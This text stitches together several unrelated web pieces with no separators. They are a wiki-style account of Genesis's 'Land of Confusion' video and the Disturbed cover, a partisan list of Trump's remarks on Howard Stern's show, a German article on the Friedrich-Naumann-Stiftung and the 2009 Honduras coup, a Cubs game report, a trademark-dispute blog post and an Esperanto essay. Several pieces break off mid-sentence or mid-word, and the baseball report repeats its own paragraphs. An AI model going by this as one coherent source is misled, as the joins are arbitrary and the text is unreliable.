The video opens with a caricatured Ronald Reagan (voiced by Chris Barrie), Nancy Reagan, and a chimpanzee (parodying Reagan's film Bedtime for Bonzo), going to bed at 16:30 (4:30 PM). Nancy is absorbed in reading His Way, Kitty Kelley's unauthorized biography of Frank Sinatra, in which claims are made of sexual relations between Sinatra and then actress Nancy Davis prior to her marriage to Reagan. Reagan, holding a teddy bear, goes to sleep and begins to have a nightmare, which sets the premise for the entire video. The video intermittently features a line of stomping feet, illustrating an army marching through a swamp, and they pick up heads of Cold War-era political figures in the swamp along the way (an allusion to Motel Hell).
Caricatured versions of the band members are shown playing instruments on stage during a concert: Tony Banks on an array of synthesizers (as well as a cash register full of cookies), Mike Rutherford on a four-necked guitar (parodying Rutherford's dual role as the band's guitar and bass-player), and two Phil Collins puppets: one on the drums, and one singing.
During the second verse, the video features various world leaders giving speeches on large video screens in front of mass crowds; the video shows Benito Mussolini, Ayatollah Khomeini, Mikhail Gorbachev and his aides (appearing like Frank Sinatra's 'Rat Pack'), and Muammar Gaddafi. Meanwhile, Reagan is shown putting on a Superman suit, fumbling along the way, while Collins sings,
Oh Superman where are you now
When everything's gone wrong somehow
The men of steel, the men of power
Are losing control by the hour.
Meanwhile, the "real world" Reagan is shown blowing bubbles in a puddle of his own sweat (at one point, a rubber duck floats by).
During the bridge, the Superman-costumed Reagan and a Monoclonius-type dinosaur (with punk jewellery) watch a television showing various clips (apparently from the Spitting Image show itself), including Johnny Carson, Walter Cronkite, Richard Nixon, Leonard Nimoy as Mr. Spock (with a Rubik's Cube), and Bob Hope. This segues into a sequence apparently set in prehistoric times, where the Monoclonius-type and a theropod-type dinosaur (wearing a bow-tie) meet up with Ron and Nancy Reagan and a rather outlandish mammal eats an egg and reads a newspaper. At the end of this part, the chimpanzee from the prologue is shown throwing a bone in the air (an allusion to 2001: A Space Odyssey).
As the bone begins to fall there is a sudden switch to Collins catching a falling phone which he uses to inform the person on the other end that he "won't be coming home tonight, my generation will put it right" (which is when a caricature of a 1980s Pete Townshend is seen playing a chord on guitar and giving a thumb-up for putative mentioning of his own song, "My Generation") and on the "we're not just making promises" verse the bone lands (on top of David Bowie and Bob Dylan, but misses Mick Jagger). Reagan is then shown riding the Monoclonius through the streets while wearing a cowboy hat and wardrobe (a reference to Reagan's down-home public persona and ranch). As the video nears its climax, there are periodic scenes of a large group of spoofed celebrity puppets, including Tina Turner, Michael Jackson, Madonna, Prince, Bill Cosby, Queen Elizabeth, Princess Diana and Hulk Hogan singing along to the chorus of the song, in a spoof of the charity-driven song "We Are the World", with Pope John Paul II playing an electric guitar.
At the end of the video, Reagan awakens from his dream, and surfaces from the sweat surrounding him; Nancy at this point is wearing a snorkel. After taking a drink (missing his mouth and, indeed, his face, afflicting him with "drinking problems", à la Airplane!), he fumbles for a button next to his bed. He intends to push the one labelled "Nurse", but instead presses the one titled "Nuke", setting off a nuclear explosion. Reagan then replies "Man, that's one heck of a nurse!" Nancy whacks him over the head with her snorkel.
The video, directed by John Lloyd & Jim Yukich and produced by Jon Blair, won the short-lived Grammy Award for Best Concept Music Video during the 30th Annual Grammy Awards.[5] The video was also nominated for an MTV Video Music Award for Video of the Year in 1987, but lost to "Sledgehammer" by Peter Gabriel (coincidentally, Genesis' former lead singer). It also made the number-one spot on The Village Voice critic Robert Christgau's top 10 music videos in his year-end "Dean's List" feature, and number three on the equivalent list in his annual survey of music critics, Pazz & Jop (again losing out to "Sledgehammer").[6][7]
Singles track listings [ edit ]
7": Virgin / GENS 3 (UK) [ edit ]
"Land of Confusion" – 4:45 "Feeding the Fire" – 5:54
7": Atlantic / 7-89336 (U.S.) [ edit ]
"Land of Confusion" (LP Version) – 4:45 "Feeding the Fire" – 5:54
12": Virgin / GENS 3–12 (UK) [ edit ]
"Land of Confusion" (Extended Remix) – 6:55 "Land of Confusion" – 4:45 "Feeding the Fire" – 5:54
12": Virgin / 608 632-213 (Germany) [ edit ]
"Land of Confusion" (Extended Remix) – 6:55 "Land of Confusion" – 4:45 "Feeding the Fire" – 5:54
CD: Virgin / SNEG 3–12 (UK) [ edit ]
"Land of Confusion" – 4:45 "Land of Confusion" (Extended Remix) – 6:55 "Feeding the Fire" – 5:54 "Do the Neurotic" – 7:08
12": Atlantic / PR 968 (U.S.) [ edit ]
"Land of Confusion" (Extended Remix) – 6:55 "Land of Confusion" – 4:45
7": Atlantic / 7-89336 promo (U.S.) [ edit ]
"Land of Confusion" (Special Edited Remix) – 3:53 "Land of Confusion" (Album Version) – 4:45
Remixes by John Potoker
Personnel [ edit ]
Charts [ edit ]
Live performances [ edit ]
The song was played on their Invisible Touch,[26] The Way We Walk,[27] Calling All Stations[28] (with Ray Wilson on vocals) and Turn It On Again: The Tour[29] tours, though later transposed to a lower key to accommodate Collins' deepening voice.
It also appears on their live albums The Way We Walk, Volume One: The Shorts, and Live over Europe 2007. As well as on their DVDs Live at Wembley Stadium, The Way We Walk - Live in Concert and When in Rome 2007.[citation needed]
Disturbed version [ edit ]
The American heavy metal band Disturbed released a cover of the song on their third studio album, Ten Thousand Fists. The song became the fourth single from that album. Vocalist David Draiman commented that the aim of covering the song was "taking a song that's absolutely nothing like us and making it our own."[31] The line "And the sound of your laughter" in the original's bridge was replaced by "In the wake of this madness".
It was accompanied by a music video animated by Todd McFarlane, known as the creator of the comics series Spawn. McFarlane had previously animated the music videos for the songs "Freak on a Leash" by Korn and "Do the Evolution" by Pearl Jam. According to McFarlane, the music video is "a big view of the corporate world and how it all ties into just one big beast for me... The world is run by one giant thing, which is driven by greed and lust."[32] "Land of Confusion" reached No. 1 in the Hot Mainstream Rock Tracks; making it Disturbed's first No. 1 single on that chart.
Music video [ edit ]
The video starts out with The Guy, Disturbed's mascot, falling to earth. It then shows military forces bearing the symbol of a dollar sign[32] within a circle of white within a field of red, followed by legions of black-clad soldiers reminiscent of Adolf Hitler's Schutzstaffel.[33] The video then shows the Guy, escaping bondage from chains, as the military forces continue to assault cities and civilians. Later on, leaders of various nations of the world (bearing close physical resemblance to George W. Bush, Vladimir Putin, Jacques Chirac, Junichirō Koizumi and Tony Blair) are shown sitting at a table with the same dollar sign on it. Eventually, the Guy confronts the soldiers, and leads the people in rebellion. Flags of several powerful nations are then shown, with the final flag sporting the dollar sign. The Guy leads the rebels to the headquarters of the United Nations[33] where they disrupt a meeting of the U.N. representatives. The Guy then leads the angry mob into a back room where they confront the real power behind the throne, a gigantic, bloated Fat Cat. The mob then drags him to the ground and once immobilized, the Guy destroys the Fat Cat, who explodes into a shower of dollar bills.
UK enhanced version [ edit ]
"Land of Confusion" "Sickened" "Land of Confusion" (Video)
UK, European and US vinyl 12" limited edition picture disc [ edit ]
"Land of Confusion" "Sickened"
European version [ edit ]
"Land of Confusion" (Version 1) "Land of Confusion" (Version 2)
Personnel [ edit ]
Charts [ edit ]
See also [ edit ]It’s fitting that Donald Trump has been interviewed more times by Howard Stern than by any other television or radio personality. Stern’s program has always been a place where crude talk wasn’t just welcome but celebrated, and the real estate mogul and reality television star fit in perfectly. The show offered a forum where Trump, who always welcomes an opportunity to talk about money, women or his favorite subject—himself—could speak freely to an audience that enjoys that kind of thing.
In recent years, recordings of Stern's show have surfaced in which Trump boasted of leering at his Miss Universe pageant contestants. He also agreed that his daughter is a "piece of ass," and admitted to describing women’s genitalia as "expensive." In other words, he was himself.
Newsweek has recently come into possession of 15 hours of Trump audio from the show, and it’s all in the same vein, whether he's discussing giving Princess Diana an HIV test or admitting that Ivanka and Don Jr. attempted to cut Tiffany out of the will. Newsweek has called the cache of tapes a “rich, Freudian case study, a gold mine for anyone trying to understand the president of the United States." For his part, Howard Stern has previously said that resurfaced Trump audio clips reflect “who Trump is. He was always bombastic. He always rated women. He always talked in a misogynistic, sexist kind of way…proudly and out in the open…”
Here are eight nauseating new revelations from the audio tapes.
1. He boasted about feeling Melania up in public.
On a segment that aired in 1999, Trump semi-boasted about groping his then-girlfriend in public, and choosing her the way one might select a tender cut of meat.
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Stern: Have you ever felt her up in public? Trump: Yeah…I'm very well behaved, actually, and almost always I'm very down the middle. Stern: How did you meet this supermodel? Trump: I met her at a very big party in New York. And she was there along with other supermodels, and I greeted all of them, and I said, that's the one that's the most beautiful.
2. He once claimed he’d leave a lot of money to charity.
Asked about his will and where his money would go when he died, Trump claimed that, along with caring for his kids, he’d make sure his estate went to plenty of worthy causes. “Charity gets a lot,” Trump said, without breaking into laughter. “Yeah, I'm going to give [my kids] Trump Online University…I’m going to give a lot to charity and I’m going to give a lot to the kids.”
Trump University turned out not just to be another failed business venture, but a judge effectively determined it a fraudulent enterprise. More absurd is the notion that Trump would engage in any kind of philanthropy. In the past, Trump has lied about giving to charities benefiting numerous causes, from veterans to terminally ill children. (In fact, he can’t seem to get enough of screwing over sick kids.) There’s no way he’s donating loads of money to charity upon his death. It’ll be a miracle if his will doesn't dictate that everything he owns be buried with him.
3. Just days after her death, he went on a whole spiel about Anna Nicole Smith’s looks.
On the Feb. 12, 2007 episode of the show—just four days after Smith was found dead of an accidental overdose in a Florida hotel room—Trump chose to creepily weigh in, at length, about her face, body and hair.
“When she came to New York, I saw Anna Nicole Smith the first day or week that she was in New York. She was 6 feet tall. She had the best body. She had the best face. She had the best hair I've ever seen. You know, hair is my thing. I'm really into hair up right now, okay? And she has the most beautiful. I mean, she had the best hair, but she had the best face and the best body. You said [she had] the best face. She had the best body."
4. The many times he offered his unsolicited opinions on women.
In several interviews, Trump and Stern talked about famous women and rated their physical appearances.
Angelina Jolie? "Her lips are too big" and rated her "a solid 7,” adding that “a 7 is not a 10.” Kim Kardashian? “She’s got a huge trunk…it’s seriously big.” He called Elin Nordegren, Tiger Woods’ ex-wife, “a solid 9,” noting she didn’t get a perfect score because “10 is very, very sacred territory.” Halle Berry? "I love her upper body.” Asked about Charlize Theron, he said “Ivanka is much better-looking than her."
5. He gave a monologue about how hot his daughter is.
During a 2004 appearance on the show, Trump delivered a monologue about Ivanka that probably feels yuckier with hindsight, thanks to his long and gross record of saying skeezy things about his own daughter.
“She's 6 feet tall,” Trump says on the recording. “She's got the best body. She made a lot of money as a model. A tremendous amount and then she went cold turkey and gave it all up because she had to go to college because I wanted her to go to college. She goes to the best college sort and she goes to Wharton and she's got straight As and she's one of them. She's considered one of the most beautiful women. And she really is—she is like a great beauty.”
6. He suggested being smart and pretty could be a problem for a woman.
Not long after his new reality show launched, Trump discussed how women contestants should maybe be hot or really brainy, but never both at the same time.
“Now the women did use their sex appeal, and they're like incredibly beautiful,” Trump stated. “Of the women, there are some that are just unbelievable — like supermodel beauty, in addition to having a 200 IQ, and that maybe is negative. A beautiful woman that's that smart. That could be a negative, Howard. I don't know. You tell me.”
7. He referred to himself as The Best Tweeter.
The man currently trying to tweet us into a nuclear war once talked about how great he is at social media, because self-awareness is the opposite of Trumpiness.
Trump: You know I have this huge Twitter thing going…Would you tell your listeners? They’re all saying it’s the best. Howard: Are you the best tweeter? Trump: They say I’m the best tweeter…Because I’m controversial and I’m honest. I don’t even think I’m controversial. I’m very honest.
8. He boasted about being an aloof father who doesn’t spend quality time with his kids.
Here’s Trump in 2004 talking about what a stellar dad he is, except for the parenting part:
“I've been a good father—a really good father,” Trump stated. “But I've never been that involved. Like, if they ever said, ‘Come on outside, dad. Let's have a catch in Central Park.’ I'd say, excuse me, what?Inland
FDP-nahe Stiftung auf der Seite der Putschisten in Honduras
Die Naumann-Fraktion
Von Hans-Georg und Peter Kleinert
geputscht - Manuel Zelaya
Quelle: Wegen geplanter Volksbefragung weg-geputscht - Manuel ZelayaQuelle: www.atravesdevenezuela.com/
Quelle: Werner Hoyer - traf Micheletti vor dem PutschQuelle: www.politik-fuer-die-freiheit.de
[6] "El jefe del Ejército desobedeció a su comandante, que soy yo"; El País 28.06.2009
Manuel Zelaya war im November 2005 als Kandidat der Liberalen Partei (Partido Liberal de Honduras, PLH) bei den Präsidentschaftswahlen angetreten - und gewann. Bereits damals hatte der deutsche Politikberater Peter Schröder den PLH im Wahlkampf unterstützt, damals allerdings noch auf Seiten Zelayas. Schröder war von 1971 bis 1982 für die FDP tätig gewesen, zuletzt als Abteilungsleiter "Kommunikation und Service" in der FDP-Bundesgeschäftsstelle. Heute leitet er eine eigene Kommunikations- und Beratungsfirma bei Bonn (Nordrhein-Westfalen), arbeitet jedoch immer noch für FDP-nahe Organisationen. Seiner Unterstützung maß Zelaya zu Beginn seiner Amtszeit große Bedeutung bei. Er hätte "die Wahlen ohne die Strategieberatungen mit Peter Schröder (...) nicht gewonnen", urteilte der honduranische Staatspräsident im Januar 2006.[1]Über die FDP-nahe Friedrich-Naumann-Stiftung hielten die deutschen Liberalen damals eine ungewöhnlich starke Position im PLH. Mehr als die Hälfte der 62 PLH-Parlamentsabgeordneten hatten Kontakte zu der deutschen Stiftung geknüpft und etwa deren Aus- und Fortbildungsseminare absolviert. "Im honduranischen Parlament haben wir jetzt eine 39-köpfige Naumann-Fraktion", triumphierte nach den Wahlen Ende 2005 die Projektkoordinatorin der Friedrich-Naumann-Stiftung in Honduras, Rosbinda Sabillón.[2] Wie die Stiftung damals mitteilte, besaßen vier Minister sowie vier stellvertretende Minister der neuen Regierung Zelaya einen "Stiftungshintergrund", acht Personen "aus dem unmittelbaren Projektumfeld" der Stiftung stiegen unter dem neuen Präsidenten zu Leitern höchster Staatsbehörden auf. "Unter den 165 gewählten liberalen Bürgermeistern befinden sich rund 60 Politiker aus dem Umfeld der Projektarbeit mit der liberalen Jugend", teilte die Naumann-Stiftung damals mit - und sah ihren Nachwuchs "in den Startlöchern für eine politische Karriere". Sie werde sich "in den kommenden vier Jahren liberaler Regierung" bemühen, an der "Konsolidierung dieses Erfolges" mitzuwirken und vor allem die Umsetzung der aus ihrer Sicht "dringend erforderlichen liberalen Reformen in Honduras zu unterstützen".Eine Wende der gedeihlichen Zusammenarbeit zwischen Zelaya und der Friedrich-Naumann-Stiftung trat ein, als der Staatspräsident sich Laufe seiner Präsidentschaft dem lateinamerikanischen Staatenbündnis ALBA und dessen politischen Zielen zuwandte. ALBA sucht sich aus der US-amerikanisch-europäischen Hegemonie zu lösen und hat eine scharfe Abkehr von neoliberalen Wirtschaftsmodellen vollzogen. Mit der deutschen Stiftung ist eine solche Politik nicht zu machen. Die Berliner Naumann-Zentrale reagierte empört, als zwei ihrer Zöglinge entlassen wurden, weil sie sich Maßnahmen des Präsidenten verweigerten. So verlor Präsidialminister Yani Rosenthal sein Amt; Zentralbankpräsidentin Gabriela Nuñez musste gehen, als sie sich hartnäckig weigerte, Banktransfers aus dem ALBA-Mitgliedstaat Venezuela durchzuführen.[3]Mit der Ankündigung des Staatspräsidenten, eine Volksbefragung anzuberaumen, eskalierte schließlich der Streit. Durch dieses Votum sollte die honduranische Bevölkerung darüber entscheiden, ob im kommenden November parallel zu den allgemeinen Wahlen (Präsident, Parlament, Kommunalräte) eine "vierte Urne" ("cuarta urna") eingerichtet wird. Mit dieser "vierten Urne" sollte über ein Referendum zur Einberufung einer Verfassunggebenden Versammlung abgestimmt werden. Ein solcher Schritt gilt als Charakteristikum der ALBA-Staaten und als Maßnahme zu entschlossener Abkehr von neoliberaler Wirtschaftspolitik.Um diesen Absichten entgegenzuwirken, verstärkten FDP-Kreise zuletzt ihre Bemühungen. Bereits im Februar vergangenen Jahres beriet sich der stellvertretende Vorsitzende und außenpolitische Sprecher der FDP-Bundestagsfraktion, Werner Hoyer, mit dem damaligen Parlamentsvorsitzenden und nunmehrigen Putschpräsidenten Micheletti.Dabei ging es laut FDP um eine "Intensivierung der Beratungstätigkeit der (Friedrich-Naumann-)Stiftung besonders im Hinblick auf die im November (2008, d. Red.) anstehenden parteiinternen Vorwahlen."[4] Aus diesen ging schließlich der ehemalige Vizepräsident Elvin Santos als Sieger hervor. Santos ist dem "traditionellen"Mit Santos und dessen Anhängern wiederum traf vom 13. bis 16. Juni dieses Jahres der ebenfalls FDP-nahe Politik- und Strategieberater Peter Schröder zusammen.[5] Die Zusammenkunft, die unter dem Mantel der Naumann-Stiftung abgehalten wurde, stand im Zeichen der für Sonntag angesetzten Volksbefragung. Von dieser habe man annehmen müssen, dass die von Zelaya gewünschte "cuarta urna" und damit das Referendum über die Einberufung einer Verfassunggebenden Versammlung Zustimmung fände, erklärte Schröder gegenüber german-foreign-policy.com. Ihm zufolge wurde bei seinen Gesprächen ein Auftritt des Zelaya-Gegners Santos für den gestrigen Montag (29. Juni) vereinbart. Dabei sollte der Präsidentschaftskandidat des PLH öffentlich dazu aufrufen, das durch die Volksbefragung - wie man vermutete - beschlossene Referendum über eine Verfassunggebende Versammlung zurückzuweisen, berichtet Schröder. Zelaya, behauptet der deutsche Strategieberater im Einklang mit den meisten westlichen Medien, habe mit der "cuarta urna" ausschließlich seine Amtszeit verlängern wollen. Tatsächlich hat Zelaya diese Anschuldigungen noch kurz vor dem Putsch zurückgewiesen. "Ich habe keine Option, an der Macht zu bleiben", erklärte er gegenüber der spanischen Zeitung "El País": "Die einzige wäre, die Verfassung zu verletzen, und das werde ich nicht tun. (...) Ich werde meine Regierungszeit am 27. Januar 2010 beenden."[6]Nach dem Putsch schreibt nun der Repräsentant der Naumann-Stiftung in Tegucigalpa Zelaya selbst eine Mitschuld an dem Staatsstreich zu. Demnach sei Zelaya nicht "ganz unschuldig" an der Entwicklung, da er Legislative sowie Exekutive mit der Volksbefragung provoziert habe. Der entführte Präsident sei "mehr Täter als Opfer". Letztlich habe sein Vorgehen den Putschisten "keine andere Wahl" gelassen.[7]Die Friedrich-Naumann-Stiftung hat sich in den vergangenen Jahren mehrfach mit politischen Aktivitäten gegen die Regierungen von ALBA-Staaten hervorgetan, etwa mit der Unterstützung von Sezessionisten, die auf eine erhebliche Schwächung der Regierung Boliviens abzielten (german-foreign-policy.com berichtete [8]). Dabei stößt die Stiftung immer wieder, ohne dass dies in ihrem Heimatland wahrgenommen wird, auf öffentlichen Protest gegen ihre Einmischung in die inneren Angelegenheiten souveräner Staaten.[9] Ihre Unterstützung für Zelayas Gegner in Honduras setzt ihre politischen Interventionen in Lateinamerika fort.Am Montag haben die Botschafter mehrerer ALBA-Staaten auf einer gemeinsamen Pressekonferenz in Berlin ihre Solidarität mit dem Manuel Zelaya erklärt. Wie www.amerika21.de berichtet, nahmen an der Konferenz in der diplomatischen Vertretung Venezuelas die Botschafter von Kuba, Ecuador und Venezuela teil. Nicaragua war durch die Geschäftsträgerin vertreten. Für die Botschaft Boliviens nahm die Zweite Sekretärin teil."Wir verurteilen aufs Schärfste den brutalen Putsch in unserer Schwesterrepublik Honduras", sagte Venezuelas Botschafterin in Deutschland, Blancanieve Portocarrero, die zu der Konferenz eingeladen hatte. Portocarrero erinnerte daran, dass zahlreiche Organisationen wie die ALBA, die OAS, die UNASUR, die Rio-Gruppe, die UNO und die EU den Staatsstreich bereits verurteilt haben. "Die Staaten der ALBA unterstützen auch die geplante Volksbefragung, die am Sonntag stattfinden sollte", fügte Portocarrero hinzu.Kubas Botschafter in Berlin, Gerardo Peñalver Portal, erinnerte an das gewaltsame Vorgehen der Putschisten. So seien die Botschafter von Kuba, Nicaragua und Venezuela attackiert worden, als sie die Außenministerin Patricia Rodas vor den Putschistentruppen schützen wollten. "Wir machen uns deswegen besonders Sorgen um die 486 kubanischen Ärzte und humanitären Helfer, die in Honduras ihren Dienst tun", sagte Peñalver.In einem offenen Brief haben das bischöfliche Hilfswerk MISEREOR und die internationale Menschenrechtsorganisation FIAN Außenminister Steinmeier gebeten, sich für die Wiederherstellung der Demokratie und den Schutz der Menschenrechte in Honduras einzusetzen. "Minister Steinmeier muss sich gegen Verhaftungen und Repressalien gegen Regierungsmitglieder, führende Persönlichkeiten der sozialen Protestbewegung und Menschenrechtsverteidiger einsetzen und diesen über die Botschaft Schutzmaßnahmen zukommen lassen", fordern Misereor und FIAN."Die Lage spitzt sich zu. Das Regime agiert mit Verhaftungen, Gewalt und Zensur gegen die Protestbewegung. Die internationale Staatengemeinschaft muss schnell und entschieden handeln, um ein Blutbad in Honduras zu verhindern", warnt Martin Wolpold-Bosien, Mittelamerika-Referent bei FIAN International. Laut FIAN-Honduras sind der Präsidentschaftskandidat der Demokratischen Union (UD), Guillermo Jiménez, der Gewerkschaftsführer Carlos H. Reyes sowie fünf weitere MenschenrechtsverteidigerInnen verprügelt und verhaftet worden. Laut Bauernbewegung Vía Campesina gibt es Haftbefehle gegen 30 führende AktivistInnen der Protestbewegung, darunter auch den international bekannten Bauernführer Rafael Alegría."Gemeinsam mit unseren honduranischen Partnern verurteilen wir den Staatsstreich vom vergangenen Sonntag, die Festnahme und erzwungene Ausreise des Staatspräsidenten Manuel Zelaya Rosales sowie die weit reichenden Eingriffe in die Meinungs- und Medienfreiheit durch das Militär", sagt MISEREOR-Geschäftsführer Martin Bröckelmann-Simon. MISEREOR und FIAN unterstreichen, dass es nach der einhelligen internationalen Verurteilung des Staatsstreichs nun darauf ankomme, dass die selbsternannte, demokratisch nicht legitimierte "Regierung" unter Roberto Micheletti nicht anerkannt und der Ausnahmezustand aufgehoben werde. Für Donnerstag hat der gewählte Präsident Zelaya seine Rückkehr nach Honduras angekündigt. Diplomatischer Druck sei dringend notwendig, damit die Lage in Honduras nicht weiter eskaliere und die massiven Menschenrechtsverletzungen beendet würden. (PK)[1], [2] Ex-Alumni der Stiftung in politischen Spitzenpositionen; www.freiheit.org[3] Christian Lüth: Opportunismus und 'Kontinuismus'. Der Präsident von Honduras missachtet die Verfassung und seine Liberale Partei; Hintergrundpapier der Friedrich-Naumann-Stiftung Nr. 5, April 2009[4] Hoyer trifft liberale Spitzenpolitiker Nicaraguas und Honduras; www.liberale.de[5] Peter Schröder en Honduras; www.la.fnst-freiheit.org[7] Mehr Täter als Opfer; www.freiheit.org 28.06.2009[8] s. dazu Balkanisierung in Südamerika, Spalte und herrsche, Neoliberale Netze und Profit und Autonomie[9] s. dazu Neoliberale NetzeSiehe auch www.german-foreign-policy.com/de/fulltext/57565 www.amerika21.de/nachrichten/inhalt/2009/jun/botschafter-78374847-alba-berlin/A 22-pitch first inning didn't help. Catcher Miguel Montero could tell Arrieta was off, so he had a little chat with the right-hander. Actually, it was more of a one-sided, rather loud conversation.
CHICAGO -- Jake Arrieta didn't warm up well Wednesday. He was dealing with pregame jitters. After all, it was his first start, he had to face the Cardinals and he didn't want the Cubs to open the season 0-2.
CHICAGO -- Jake Arrieta didn't warm up well Wednesday. He was dealing with pregame jitters. After all, it was his first start, he had to face the Cardinals and he didn't want the Cubs to open the season 0-2.
A 22-pitch first inning didn't help. Catcher Miguel Montero could tell Arrieta was off, so he had a little chat with the right-hander. Actually, it was more of a one-sided, rather loud conversation.
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It worked. Arrieta held the Cardinals to three hits over seven scoreless innings and picked up the win in the Cubs' 2-0 victory.
"Some guys need a pat on the back and some guys need to be yelled at, and I'm one of those guys who likes to be yelled at," Arrieta said. "[Montero] recognizes things in situations that I need to do differently, and it's great to have a voice like that behind the plate. We worked very well together."
At first, Monter
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same trademark.
Moosehead Breweries Limited, based in Saint John, New Brunswick, sued the Hop’n Moose Brewing Co. last week in federal court in Vermont, alleging trademark infringement. The Canadian firm alleges that the moose image the downtown Rutland brewpub uses is too similar to the moose head with antlers the larger company uses in its logos and branding materials. The lawsuit asks for a jury trial and wants Hop’n Moose ordered to hand over any profits it has made while using the moose image. It also wants the Rutland company to stop using the image and to “deliver up and/or destroy” all trademark infringing products. The filing also demands that Hop’n Moose stop using the domain address for its website, hopnmoose.com.
Here again we see Moosehead wielding a fairly generic term like a trademark cudgel. I have to admit being a little surprised that the filing goes in as hard as it does on the actual trade dress of both brands. In past trademark suits, Moosehead has thought it enough to show up with its "moose" trademark and assume that was enough. Here they are going after the image of moose in both companies' logos, claiming that they will cause confusion. Here are both logos.
Sure, you might say there are some similarities there, but only because both show an image of a moose. One is just the head of the moose, hence the beer named "moosehead", where the other is the silhouette of a full moose. It should be noted that Moosehead does have a trademark on a version of its moose head image that is a silhouette, except that I can't find it being used anywhere. Even if the brewery does use that image, it is certainly not the image or logo that the public associates with Moosehead beer.
And that's the ultimate point here. The rest of the trade dress is, again, different enough to stave off any real customer confusion. In addition, the company names are different enough, and prominently displayed in both cases, to keep customers from being confused. It's a wonder why Moosehead keeps going down this road, but I suppose bullies are going to bully.
Filed Under: moose, trademark
Companies: hop 'n moose, mooseheadby Norman Berdichevsky (Dec. 2007)
Several recent articles dealing with the problem of international communication across the language barrier repeat the predictions of Esperanto’s “futility” and inevitable "failure" made a hundred and twenty years ago at its outset and repeated through every decade since then in the face of the global expansion of English. In spite of all these forecasts, Esperanto has not only NOT disappeared but continues to grow, albeit much of its progress has been invisible to critics and sceptics.
The basic instinct of critics in the English speaking world is that no matter what Esperanto is doomed. Arika Okrent reflects the common viewpoint of today’s “realists” in posing (and answering) the question…” Is it crazy to believe that Esperanto has a chance in the Age of English?“ and then answers her own question ….It’s insane! “.(“Exploring Esperantoland”; The American Scholar, Winter, 2006, pp. 93-108)
On the website of New English Review, two regular contributors concluded that …“Of course the whole idea of an artificial language is silly” (Mary Jackson) and ….“There are those who, out of a kind of despair, seek a solution to our problems in modifying or simplifying language. Consider how Zamenhof (the founder of Esperanto) allowed himself to believe that if only everyone could communicate using the same language, all kinds of problems would be solved. Hence... Esperanto, or Volapük, or a dozen other idealistic and misguided attempts.” (Hugh Fitzgerald).
No matter how many times it can be documented that Zamenhof never intended an “auxiliary language” to solve ANY of the world’s problems but only help people communicate and reduce the inconvenience of the language barrier, Esperanto is still regarded as the inevitable plaything of eccentrics, "cranks" and “misguided idealists”. For the entertaining American humorist and writer Bill Bryson”, …“In normal circumstances, an Esperanto speaker has about as much chance of encountering another as a Norwegian has of stumbling on a fellow Norwegian, in say, Mexico.“
Okrent, Jackson, Fitzgerald and Bryson are all American and British writers who agree that a “solution” to the problem of the language barrier beyond universal acquisition of English is either uncalled for, or can be solved in the future through some further technological development. All of them make the same initial assumption that there is no need for an international auxiliary language. They refuse to look at the accumulated experience and evidence of the international community of Esperanto speakers over the past one hundred and twenty years. The evidence does not interest them for they have pronounced their guilty verdict that Esperanto has “failed.”
The Trivialization of Esperanto
Dr. Ludoviko Zamenhof and/or Esperanto have been honored with postage stamps issued by the former USSR, China, Poland, Hungary, Bulgaria, East Germany, Brazil, Austria, Switzerland, Belgium, Cuba, the former Yugoslavia, Lithuania, Croatia, Surinam, Malta and most recently (December, 2006) Israel; primarily countries whose languages are not widely spoken elsewhere. In spite of such universal recognition, Esperanto is not even mentioned in the reference work: “Cultural Literacy - What Every American Needs to Know"; Including 5,000 essential names, dates and concepts“. For its author, E.D. Hirsch, Jr. Esperanto does not deserve a mention among the top 5,000 facts worth knowing for the average American (contrasted with the unchallenged importance of "Leda and the Swan", "Icarus" and "Humpty Dumpty").
Usually, it is more educated speakers of English who possess the most innate bias against Esperanto, doubting that an “artificial” language of “no substance’ or cultural content could promise any advantage to potential learners. Nevertheless, there is much evidence that six or seven years of English instruction in many countries have produced very meager results in comparison with the enormous efforts, time and expense invested. The percentage of the world’s population that speaks English as a first language is no greater today than it was in 1900 (around 10%). Although there are many speakers of English as a second language today, they still represent a tiny minority of those who have spent many frustrating years of study and are unable to communicate effectively beyond the level of making essential needs known or idle chatter about the weather and asking directions. Esperanto’s marvelous successes and achievements are “invisible” because there is no palpable “homeland” or powerful patron to provide material rewards.
In 1986, the 99th anniversary of the language was celebrated by a massive World Congress in Beijing, China and a year later the centennial celebration was held in Warsaw. Both events resulted in major feature stories on the cover pages of Time, Newsweek and U.S. News and World Report that all objectively and favorably reviewed its achievements and quite rightly wondered why the language has not received more support from international organizations that continue to waste enormous sums of money on multiple and simultaneous translations and interpreting.
Nevertheless, articles continue to appear by scores of journalists or commentators who have met Esperanto for the first time and express amazement that it has not disappeared as has been predicted in every decade since its inception in 1887. They ignore such milestones as the favorable resolutions passed by the League of Nations and the United Nations encouraging its instruction and use. It comes as a shock that there are many tens of thousands (very possibly hundreds of thousands) of Esperanto speakers who use it in every sense as a “living language” capable of generating a loyalty and devotion among its community of speakers. These include those who learned it as children from their parents. All of them continue to shape and change it and have invested it with the deepest emotions and have even generated their own cosmopolitan literature, culture and slang without a physical homeland.
The Free Market Forces of Foreign Language Appeal and Learning
People desire to learn another language other than the one they grew up with and absorbed from their parents and immediate environment for a number of reasons all of which provide a utility, personal advantage or "pay-off." These are:
1. travel, 2.educational opportunities 3. career advancement, 4. business opportunities, 5. research and intelligence gathering, 6. appreciation of another culture/literature and 7. social conviviality. Esperanto, other "devised languages" or "minor" national languages can only provide a very small pay-off (primarily travel and social conviviality) with regard to the immense advantages provided by the major national languages. This equation is what makes the enormous investment "worthwhile" to most people who choose to learn English, French, Spanish, German, Russian, Arabic, Chinese etc. and what condemns Esperanto to a "non-starter" no matter how great its advantages with respect to ease of learning.
As a native English speaker who earns a part-time income from teaching ESL (English as a Second Language) courses at a community college in Florida, I can testify to the enormous difficulties in reading, pronunciation, and comprehension even of the most simple sentences due to the inherent difficulties of English grammar, especially the multiple meanings of countless words and the inability to distinguish what functional part of speech (noun, verb, adjective, adverb, preposition) a particular word plays.
As a teenager, I invested about six months in the study of Esperanto and corresponded with pen-pals around the world. After not speaking or reading or corresponding in Esperanto for more than 25 years, I again took up an interest in using the language and can verify that I achieved instant recall of the totally consistent logical structure of the language that enabled me to speak and communicate without hesitation or frequent errors. I formed many new friendships and close relations in more than a dozen countries including Germany, Lithuania, Estonia, Bulgaria, Belgium, Portugal, Slovakia, The Czech Republic, Italy and Sweden,(where, in spite of my being fluent in Danish, we found it both easier and more "fair and decent" to speak in Esperanto than English).
